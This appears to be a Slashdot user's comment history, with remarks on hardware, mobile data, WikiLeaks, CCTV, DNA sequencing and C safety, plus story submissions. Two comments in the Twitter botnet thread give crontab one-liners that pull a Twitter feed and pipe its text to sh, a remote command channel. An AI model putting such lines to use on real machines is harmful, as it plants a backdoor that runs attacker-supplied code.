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The Lytro Camera: Impressive Technology and Some Big Drawbacks

Adam Hazzlebank Re:New medium awaiting new aesthetics and explorat (220 comments)

Yes, Photography's interesting, 'cause, you know, it's-it's a new art form, and a, uh, a set of aesthetic criteria have not emerged yet.

more than 2 years ago
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Help Build the World's First Community-Funded CPU ASIC

Adam Hazzlebank Re:MIPS (140 comments)

The original ARM designs are from 1985 (approximately). There's also an ARM OpenCore http://opencores.org/project,core_arm which I wasn't aware ARM Ltd had attempted to kill yet?

more than 3 years ago
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T-Mobile Slashes Fair Use Policy, Says Download At Home

Adam Hazzlebank Re:slow network? (364 comments)

T-mobile are amazingly cheap right now. For 20GBP (I guess not far off 20USD now) I have 6 months of data access on pay as you go (i.e. I pay 20GBP and nothing else for a SIM which gives me 6 months data access). That's amazingly cheap.

more than 3 years ago
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Chinese Written Language To Dominate Internet

Adam Hazzlebank Re:Quantity, not quality. (535 comments)

not really, the Kanji largely retain their meaning between Japanese and Chinese and can be used to communicate to some extent.

more than 3 years ago
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China Views Internet As "Controllable"

Adam Hazzlebank Re:Original cablegate links? (185 comments)

oh well, I hope we see the original cables released in the next few days. The cables in general are quite readable and I'd much rather go back to the source than read an article.

about 4 years ago
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China Views Internet As "Controllable"

Adam Hazzlebank Re:Original cablegate links? (185 comments)

Yes, but shouldn't the original cables be on wikileaks already? If wikileaks have only released the cable publically isn't that kind of against their mandate? I thought they were trying to usher in an age of "scientific journalism" where original sources could be cited.

about 4 years ago
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China Views Internet As "Controllable"

Adam Hazzlebank Re:Original cablegate links? (185 comments)

So far this is the only reference I can find:

On June 24 servers in China were virally infected, causing them to redirect computers attempting to reach Google pages to an unknown web site. These attacks made Google services unavailable to many Chinese users for approximately 24 hours, and caused the company to lose 20% of its traffic on that day.

about 4 years ago
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Real-LIfe Distributed-Snooping Web Game To Launch In Britain

Adam Hazzlebank Re:Obligatory cop-out (419 comments)

Yea. So in this case they are coming for people stealing stuff and causing damage to private property.

So erm, first they came for the people stealing peoples stuff, I did not speak because I don't like stealing other peoples stuff.

I don't see how your quote applies here.

more than 5 years ago
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Real-LIfe Distributed-Snooping Web Game To Launch In Britain

Adam Hazzlebank Re:Internet Eyes charges its viewers to report cri (419 comments)

So is this a bad idea? The usually arguments are that CCTV cameras reduce privacy and when state controlled gives more power to the state (Schneier says this is the case even if the CCTV data is generally available).

However in this case, the state isn't holding the data. It's being acquired from private sources. It doesn't appear to be aggregated. It doesn't seem like you could using it for stalking. Is there a problem here?

more than 5 years ago
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ARM Attacks Intel's Netbook Stranglehold

Adam Hazzlebank Re:Will ARM compete? (521 comments)

So it's pretty cool that ARM now have a design capable of going to 2GHz but has anyone signed up to make the silicon? The A9 design has been around for a while, but I've not seen any implementations yet.

more than 5 years ago
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Twitter Used To Control Botnet Machines

Adam Hazzlebank Re:It's not suspicious already (127 comments)

Better:

* * * * * curl twitter.com/new299 | html2text | grep "CMD" | awk '{$1="";$0=substr($0,2)}1' | sh

more than 5 years ago
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Twitter Used To Control Botnet Machines

Adam Hazzlebank Re:It's not suspicious already (127 comments)

I made a typo could you change it to this:

* * * * * curl twitter.com/statuses/user_timeline/21852262.rss | html2text | head -n 3 | tail -n 1 | sed 's/new299://' | html2text | sh

k thxs.

more than 5 years ago
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Sequencing a Human Genome In a Week

Adam Hazzlebank Re:Money well spent (101 comments)

Playing devil's advocate. What from the original project was useful in developing 2nd gen sequencing? Assuming that we can now assemble human genomes de novo using Illumina reads.

more than 5 years ago
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Sequencing a Human Genome In a Week

Adam Hazzlebank Re:Passing this data back to the scientist (101 comments)

The raw images from the device alone can take up this much space. 8 lanes, 300 imaging regions (tiles) per lane. Each imaged 4 times (one for each base/channel). A typical run is 37 cycles (base pairs), paired end runs (now typical) double this so:

8*300*4*37*2 =710400

On a GA1 those files are 2mb each, giving you around a terabyte and a half of of primary data to process. Image analysis takes place processing those files in to "intensity files". Those are further processed in to corrected intensities, then basecalls. Each of these steps produces a similar number of files. Some details of the process here: http://sgenomics.org/mediawiki/upload/8/80/Pipeline.pdf

Those numbers are for a GA1, the current version of the instrument has less imaging regions (100). However cycle length has increased (typically now 75+ bp).
As a side note all the tools used are "shared source" and not available under an open source license. There is a project called Swift which is an open source tool to do this: http://bioinformatics.oxfordjournals.org/cgi/content/abstract/btp383

more than 5 years ago
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Microsoft To Banish Memcpy()

Adam Hazzlebank Re:No - there are plenty of safer alternatives (486 comments)

It's the C programming language which is at fault here. Arrays in C aren't really arrays, they're just pointers. Most modern languages (such as D, which all C++ programmers should investigate) have bounds checking on actual arrays.

D has bounds checking on primitives? That doesn't seem like a great idea, must have a significant performance impact. Sure it prevents buffer under/overruns, but if you want to do that use a container class which does bounds checking.

more than 5 years ago

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DNA in the Data Center

Adam Hazzlebank Adam Hazzlebank writes  |  more than 3 years ago

Adam Hazzlebank (970369) writes "The Oxford Nanopore website has been updated with details of its DNA analysis platform. It's a 2U rack box consuming 50W and is designed to be installed in data centers!
The move is designed to increase the density of such devices for the large scale deployment. And could support personal genome analysis services similar to those offered by 23andme or Illumina But idea that a DNA "sequencer" could become just another read device on the network is interesting and makes the deployment of DNA analysis devices in companies as seen in GATTACA more realistic. At least you wont have to worry about leaving your swipecard at home..."
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First Ever U.S. GPL Violation Lawsuit Filed

Adam Hazzlebank Adam Hazzlebank writes  |  more than 6 years ago

Adam Hazzlebank writes "The Software Freedom Law Center has filed the first ever U.S. copyright infringement lawsuit based on a violation of the GPL on behalf of the developers of BusyBox. The device in question is a manufactured by Monsoon Multimedia who have publicly acknowledged their use of BusyBox, but have so far refused to make the source available, as required by the GPL. This should be an interesting and important test case for the GPL."
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Adam Hazzlebank Adam Hazzlebank writes  |  more than 7 years ago

Adam Hazzlebank (970369) writes "Trinity College Dublin, Ireland's highest ranked university is to adopt Gmail for all its student email services. After a US University recently reported the migration of its email services to Windows Live Mail should we be concerned by the privacy implications of this trend and universities selling student ad impression, in return for a service they are obliged to provide?"

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